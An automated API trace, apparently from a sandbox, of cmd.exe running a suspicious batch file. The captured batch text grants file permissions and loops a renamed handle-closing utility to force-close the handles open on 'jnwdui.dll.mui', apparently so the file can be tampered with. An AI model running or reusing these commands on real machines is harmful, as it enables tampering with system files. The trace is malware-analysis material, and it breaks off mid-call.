[0099.871] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x840dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x41f518, lpReserved=0x0 | out: lpBuffer=0x840dc0*, lpNumberOfCharsWritten=0x41f518*=0x3) returned 1 [0099.871] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f524 | out: _Buffer=" FN=\"jnwdui.dll.mui\" ") returned 21 [0099.871] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.871] GetFileType (hFile=0x7) returned 0x2 [0099.871] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.871] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.872] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.872] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x15, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x15) returned 1 [0099.872] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f544 | out: _Buffer="\r\n") returned 2 [0099.872] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.872] GetFileType (hFile=0x7) returned 0x2 [0099.873] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.873] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f504 | out: lpMode=0x41f504) returned 1 [0099.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.873] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f530*=0x2) returned 1 [0099.874] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0099.874] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0099.874] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0099.874] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0099.874] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0099.874] _wcsicmp (_String1="set", _String2="CD") returned 16 [0099.874] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0099.874] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0099.874] _wcsicmp (_String1="set", _String2="REN") returned 1 [0099.874] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0099.874] _wcsicmp (_String1="set", _String2="SET") returned 0 [0099.874] GetConsoleTitleW (in: lpConsoleTitle=0x41f0b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.875] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0099.875] SetEnvironmentVariableW (lpName="FN", lpValue="\"jnwdui.dll.mui\"") returned 1 [0099.875] GetProcessHeap () returned 0x840000 [0099.875] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x85a118 | out: hHeap=0x840000) returned 1 [0099.875] GetEnvironmentStringsW () returned 0x858ac0* [0099.875] GetProcessHeap () returned 0x840000 [0099.875] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb84) returned 0x859650 [0099.875] FreeEnvironmentStringsW (penv=0x858ac0) returned 1 [0099.875] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.875] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0099.876] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.876] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0099.876] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.876] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0099.876] SetConsoleInputExeNameW () returned 0x1 [0099.876] GetConsoleOutputCP () returned 0x1b5 [0099.876] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0099.876] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0099.877] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0099.877] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.877] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856170 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856130 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8560f0 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840db8 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x841240 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x84f4d8 | out: hHeap=0x840000) returned 1 [0099.877] GetProcessHeap () returned 0x840000 [0099.877] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x851060 | out: hHeap=0x840000) returned 1 [0099.877] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.877] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0099.877] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0xa3, lpOverlapped=0x0) returned 1 [0099.877] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0099.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0099.878] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.878] GetFileType (hFile=0x78) returned 0x1 [0099.878] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.878] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0099.878] GetProcessHeap () returned 0x840000 [0099.878] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0099.878] GetProcessHeap () returned 0x840000 [0099.878] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x70) returned 0x841240 [0099.878] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x41ec60, lpFilePart=0x41ec58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x41ec58*="Bt3xnwko.bat") returned 0x32 [0099.878] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x8560f0 [0099.878] FindClose (in: hFindFile=0x8560f0 | out: hFindFile=0x8560f0) returned 1 [0099.879] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x8560f0 [0099.879] FindClose (in: hFindFile=0x8560f0 | out: hFindFile=0x8560f0) returned 1 [0099.879] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0099.879] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x8560f0 [0099.879] FindClose (in: hFindFile=0x8560f0 | out: hFindFile=0x8560f0) returned 1 [0099.879] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x41e974 | out: lpFindFileData=0x41e974*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x8560f0 [0099.879] FindClose (in: hFindFile=0x8560f0 | out: hFindFile=0x8560f0) returned 1 [0099.879] GetProcessHeap () returned 0x840000 [0099.879] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x56) returned 0x8560f0 [0099.879] GetProcessHeap () returned 0x840000 [0099.879] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0099.880] _tell (_FileHandle=3) returned 78 [0099.880] _close (_FileHandle=3) returned 0 [0099.880] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f2a4 | out: _Buffer="\r\n") returned 2 [0099.880] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.880] GetFileType (hFile=0x7) returned 0x2 [0099.880] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.880] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f264 | out: lpMode=0x41f264) returned 1 [0099.881] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.881] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f290, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f290*=0x2) returned 1 [0099.882] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0099.882] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0099.882] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f2a0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0099.882] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x41f2a0 | out: _Buffer=">") returned 1 [0099.882] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.882] GetFileType (hFile=0x7) returned 0x2 [0099.883] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.883] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f268 | out: lpMode=0x41f268) returned 1 [0099.883] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.883] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f294, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f294*=0x26) returned 1 [0099.883] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.883] GetFileType (hFile=0x7) returned 0x2 [0099.884] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.884] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4ec | out: lpMode=0x41f4ec) returned 1 [0099.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.884] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x840dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f518, lpReserved=0x0 | out: lpBuffer=0x840dc0*, lpNumberOfCharsWritten=0x41f518*=0x2) returned 1 [0099.884] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f524 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0099.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.884] GetFileType (hFile=0x7) returned 0x2 [0099.884] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.884] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.885] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.885] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x2d) returned 1 [0099.886] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f544 | out: _Buffer="\r\n") returned 2 [0099.886] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.886] GetFileType (hFile=0x7) returned 0x2 [0099.886] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.886] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f504 | out: lpMode=0x41f504) returned 1 [0099.887] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.887] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f530*=0x2) returned 1 [0099.890] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0099.890] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0099.890] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0099.890] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0099.890] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0099.890] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0099.890] GetConsoleTitleW (in: lpConsoleTitle=0x41f0b4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.890] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.890] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.890] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x41ee70, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x41ee68, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x41ee68*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0099.891] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec0c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0099.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x41ec0c, lpFilePart=0x41ec08 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x41ec08*=0x0) returned 0x26 [0099.891] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0099.891] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e988 | out: lpFindFileData=0x41e988*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x856430 [0099.891] FindClose (in: hFindFile=0x856430 | out: hFindFile=0x856430) returned 1 [0099.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e988 | out: lpFindFileData=0x41e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x856430 [0099.891] FindClose (in: hFindFile=0x856430 | out: hFindFile=0x856430) returned 1 [0099.891] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0099.891] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41e988 | out: lpFindFileData=0x41e988*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x856430 [0099.891] FindClose (in: hFindFile=0x856430 | out: hFindFile=0x856430) returned 1 [0099.892] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0099.892] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0099.892] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0099.892] GetProcessHeap () returned 0x840000 [0099.892] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x859650 | out: hHeap=0x840000) returned 1 [0099.892] GetEnvironmentStringsW () returned 0x858ac0* [0099.892] GetProcessHeap () returned 0x840000 [0099.892] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb84) returned 0x859650 [0099.892] FreeEnvironmentStringsW (penv=0x858ac0) returned 1 [0099.892] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0099.892] GetProcessHeap () returned 0x840000 [0099.892] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8563d0 | out: hHeap=0x840000) returned 1 [0099.892] GetProcessHeap () returned 0x840000 [0099.892] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856370 | out: hHeap=0x840000) returned 1 [0099.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.892] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0099.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.892] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0099.893] _get_osfhandle (_FileHandle=0) returned 0x3 [0099.893] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0099.893] SetConsoleInputExeNameW () returned 0x1 [0099.893] GetConsoleOutputCP () returned 0x1b5 [0099.893] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0099.893] SetThreadUILanguage (LangId=0x0) returned 0x409 [0099.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0099.893] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0099.894] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.894] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856300 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856290 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856220 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8561b0 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840db8 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856150 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8560f0 | out: hHeap=0x840000) returned 1 [0099.894] GetProcessHeap () returned 0x840000 [0099.894] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x841240 | out: hHeap=0x840000) returned 1 [0099.894] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.894] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0099.894] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0x94, lpOverlapped=0x0) returned 1 [0099.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0099.894] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.894] GetFileType (hFile=0x78) returned 0x1 [0099.894] _get_osfhandle (_FileHandle=3) returned 0x78 [0099.894] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0099.894] GetProcessHeap () returned 0x840000 [0099.895] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x864aa8 [0099.895] GetProcessHeap () returned 0x840000 [0099.895] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x4008) returned 0x868ac0 [0099.895] GetProcessHeap () returned 0x840000 [0099.895] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe) returned 0x840db8 [0099.895] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"jnwdui.dll.mui\"") returned 0x10 [0099.895] GetProcessHeap () returned 0x840000 [0099.895] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840db8 | out: hHeap=0x840000) returned 1 [0099.895] GetProcessHeap () returned 0x840000 [0099.895] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x868ac0 | out: hHeap=0x840000) returned 1 [0099.895] GetProcessHeap () returned 0x840000 [0099.895] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0099.896] GetProcessHeap () returned 0x840000 [0099.896] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x84f4d8, Size=0x3c) returned 0x856198 [0099.896] GetProcessHeap () returned 0x840000 [0099.896] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856198) returned 0x3c [0099.900] _tell (_FileHandle=3) returned 226 [0099.900] _close (_FileHandle=3) returned 0 [0099.901] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f2a4 | out: _Buffer="\r\n") returned 2 [0099.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.901] GetFileType (hFile=0x7) returned 0x2 [0099.901] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.901] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f264 | out: lpMode=0x41f264) returned 1 [0099.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.901] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f290, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f290*=0x2) returned 1 [0099.902] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0099.902] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0099.903] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f2a0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0099.903] _vsnwprintf (in: 